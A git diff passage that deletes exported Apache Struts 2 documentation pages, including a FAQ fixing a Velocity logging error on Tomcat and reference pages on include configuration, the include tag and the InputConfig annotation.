-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">I'm trying to run the example in the tutorial on Tomcat, and it can't instantiate the VelocityEngine</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14238">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14238">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14238">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14238">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14238">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14238">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent">
-
-<h2 id="I'mtryingtoruntheexampleinthetutorialonTomcat,anditcan'tinstantiatetheVelocityEngine-TomcatSays">Tomcat Says</h2>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-javax.servlet.ServletException: Servlet.init() for servlet webwork threw exception at
-org.apache.catalina.core.StandardWrapper.loadServlet(StandardWrapper.java:963)
-...
-root cause
-
-java.lang.RuntimeException: Unable to instantiate VelocityEngine\!
-at
-com.opensymphony.webwork.views.velocity.VelocityManager.newVelocityEngine(VelocityManager.java:333)
-at
-com.opensymphony.webwork.views.velocity.VelocityManager.init(VelocityManager.java:146)
-at
-com.opensymphony.webwork.dispatcher.ServletDispatcher.init(ServletDispatcher.java:177)
-at
-org.apache.catalina.core.StandardWrapper.loadServlet(StandardWrapper.java:935)
-</pre>
-</div></div>
-
-<h2 id="I'mtryingtoruntheexampleinthetutorialonTomcat,anditcan'tinstantiatetheVelocityEngine-Solution">Solution</h2>
-
-<p><em>(Thanks to Keith Lea!)</em></p>
-
-<p>It turns out Velocity's Avalon logging system was trying to write to my Tomcat folder.</p>
-
-<p>So that it's on file somewhere for other people, I will describe the solution:</p>
-<ul><li>I created a file "<code>velocity.properties</code>" and placed it in my <code>WEB-INF/classes</code> folder.</li><li>Inside the file I wrote:</li></ul>
-
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-runtime.log.logsystem.class=org.apache.velocity.runtime.log.NullLogSystem
-</pre>
-</div></div>
-<p>This stops Velocity from logging, and the example application now works.</p></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/include-configuration.html b/content/docs/include-configuration.html
deleted file mode 100644
index 6d83a04..0000000
--- a/content/docs/include-configuration.html
+++ /dev/null
@@ -1,171 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Include Configuration</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="core-developers-guide.html">Core Developers Guide</a>&nbsp;&gt;&nbsp;<a href="configuration-elements.html">Configuration Elements</a>&nbsp;&gt;&nbsp;<a href="include-configuration.html">Include Configuration</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Include Configuration</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13856">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13856">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13856">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13856">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13856">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13856">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>A popular strategy is "divide and conquer". The framework lets you apply "divide and conquer" to configuration files using the <code>&lt;include .../&gt;</code> element.</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-&lt;!DOCTYPE struts PUBLIC
-  "-//Apache Software Foundation//DTD Struts Configuration 2.0//EN"
-  "http://struts.apache.org/dtds/struts-2.0.dtd"&gt;
-&lt;struts&gt;
-    &lt;include file="Home.xml"/&gt;
-    &lt;include file="Hello.xml"/&gt;
-    &lt;include file="Simple.xml"/&gt;
-    &lt;include file="/util/POJO.xml"/&gt;
-    &lt;include file="/com/initech/admin/admin-struts.xml"/&gt;
-&lt;/struts&gt;
-</pre>
-</div></div>
-
-<p>Each included file must be in the same format as <code>struts.xml</code>, including the <code>DOCTYPE</code>. The include files can be placed anywhere on the classpath and should be referred to by that path by the "file" attribute.</p>
-
-<p>In a large-team environment, the include files can be used to organize different modules of the application that are being developed by different team members. </p></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/include.html b/content/docs/include.html
deleted file mode 100644
index 9af44d3..0000000
--- a/content/docs/include.html
+++ /dev/null
@@ -1,195 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>include</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="tag-developers-guide.html">Tag Developers Guide</a>&nbsp;&gt;&nbsp;<a href="struts-tags.html">Struts Tags</a>&nbsp;&gt;&nbsp;<a href="tag-reference.html">Tag Reference</a>&nbsp;&gt;&nbsp;<a href="generic-tag-reference.html">Generic Tag Reference</a>&nbsp;&gt;&nbsp;<a href="include.html">include</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">include</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13864">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13864">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13864">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13864">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13864">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13864">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><div class="confluence-information-macro confluence-information-macro-note"><span class="aui-icon aui-icon-small aui-iconfont-warning confluence-information-macro-icon"></span><div class="confluence-information-macro-body"><p>Please make sure you have read the <a shape="rect" href="tag-syntax.html">Tag Syntax</a> document and understand how tag attribute syntax works.</p></div></div>
-
-<h2 id="include-Description">Description</h2>
-
-<p></p><p>Include a servlet's output (result of servlet or a JSP page).</p>
-<p>Note: Any additional params supplied to the included page are <b>not</b>
-accessible within the rendered page through the &lt;s:property...&gt; tag
-since no valuestack will be created. You can, however, access them in a
-servlet via the HttpServletRequest object or from a JSP page via
-a scriptlet.</p>
-<div class="confluence-information-macro confluence-information-macro-warning"><p class="title">How To access parameters</p><span class="aui-icon aui-icon-small aui-iconfont-error confluence-information-macro-icon"></span><div class="confluence-information-macro-body">
-<p>Parameters are passed as request parameters, so use the ${param.ParamName} notation to access them. Do not use the <strong>property</strong> tag to access parameters in included files.</p></div></div>
-
-<h2 id="include-Parameters">Parameters</h2>
-
-<p><table width="100%"><tr><td colspan="6" rowspan="1"><h4>Dynamic Attributes Allowed:</h4> false</td></tr><tr><td colspan="6" rowspan="1">&#160;</td></tr><tr><th align="left" colspan="1" rowspan="1" valign="top"><h4>Name</h4></th><th align="left" colspan="1" rowspan="1" valign="top"><h4>Required</h4></th><th align="left" colspan="1" rowspan="1" valign="top"><h4>Default</h4></th><th align="left" colspan="1" rowspan="1" valign="top"><h4>Evaluated</h4></th><th align="left" colspan="1" rows [...]
-
-<h2 id="include-Example">Example</h2>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<script class="brush: java; gutter: false; theme: Confluence" type="syntaxhighlighter"><![CDATA[
-&lt;-- One: --&gt;
-&lt;s:include value=&quot;myJsp.jsp&quot; /&gt;
-
-&lt;-- Two: --&gt;
-&lt;s:include value=&quot;myJsp.jsp&quot;&gt;
-   &lt;s:param name=&quot;param1&quot; value=&quot;value2&quot; /&gt;
-   &lt;s:param name=&quot;param2&quot; value=&quot;value2&quot; /&gt;
-&lt;/s:include&gt;
-
-&lt;-- Three: --&gt;
-&lt;s:include value=&quot;myJsp.jsp&quot;&gt;
-   &lt;s:param name=&quot;param1&quot;&gt;value1&lt;/s:param&gt;
-   &lt;s:param name=&quot;param2&quot;&gt;value2&lt;/s:param&gt;
-&lt;/s:include&gt;
-]]></script>
-</div></div>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<script class="brush: plain; gutter: false; theme: Confluence" type="syntaxhighlighter"><![CDATA[
-Example one - do an include myJsp.jsp page
-Example two - do an include to myJsp.jsp page with parameters param1=value1 and param2=value2
-Example three - do an include to myJsp.jsp page with parameters param1=value1 and param2=value2
-]]></script>
-</div></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/inputconfig-annotation.html b/content/docs/inputconfig-annotation.html
deleted file mode 100644
index a4b1430..0000000
--- a/content/docs/inputconfig-annotation.html
+++ /dev/null
@@ -1,186 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>InputConfig Annotation</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="core-developers-guide.html">Core Developers Guide</a>&nbsp;&gt;&nbsp;<a href="annotations.html">Annotations</a>&nbsp;&gt;&nbsp;<a href="inputconfig-annotation.html">InputConfig Annotation</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">InputConfig Annotation</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=105758">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=105758">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=105758">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=105758">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=105758">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=105758">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><h1 id="InputConfigAnnotation-InputConfigAnnotation">InputConfig Annotation</h1>
-
-<p>Marks a action method that if it's not validated by ValidationInterceptor then execute input method or input result.</p>
-
-<h2 id="InputConfigAnnotation-Usage">Usage</h2>
-
-<p>The InputConfig annotation can be applied at method level.</p>
-
-
-<h2 id="InputConfigAnnotation-Parameters">Parameters</h2>
-
-<p><table class="confluenceTable" summary=""><tr><th colspan="1" rowspan="1" class="confluenceTh"> Parameter </th><th colspan="1" rowspan="1" class="confluenceTh"> Required </th><th colspan="1" rowspan="1" class="confluenceTh"> Default </th><th colspan="1" rowspan="1" class="confluenceTh"> Notes </th></tr><tr><td colspan="1" rowspan="1" class="confluenceTd">methodName</td><td colspan="1" rowspan="1" class="confluenceTd">no</td><td colspan="1" rowspan="1" class="confluenceTd"></td><td col [...]
-
-<h2 id="InputConfigAnnotation-Examples">Examples</h2>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<script class="brush: java; gutter: false; theme: Confluence" type="syntaxhighlighter"><![CDATA[
-public class SampleAction extends ActionSupport {
-
- public void isValid() throws ValidationException {
-   // validate model object, throw exception if failed
- }
-
- @InputConfig(methodName=&quot;input&quot;)
- public String execute() {
-    // perform action
-    return SUCCESS;
- }
- public String input() {
-    // perform some data filling
-    return INPUT;
- }
-}
-]]></script>
-</div></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/inputtransferselect.html b/content/docs/inputtransferselect.html
deleted file mode 100644
index 6cbc0cb..0000000
--- a/content/docs/inputtransferselect.html
+++ /dev/null
@@ -1,186 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
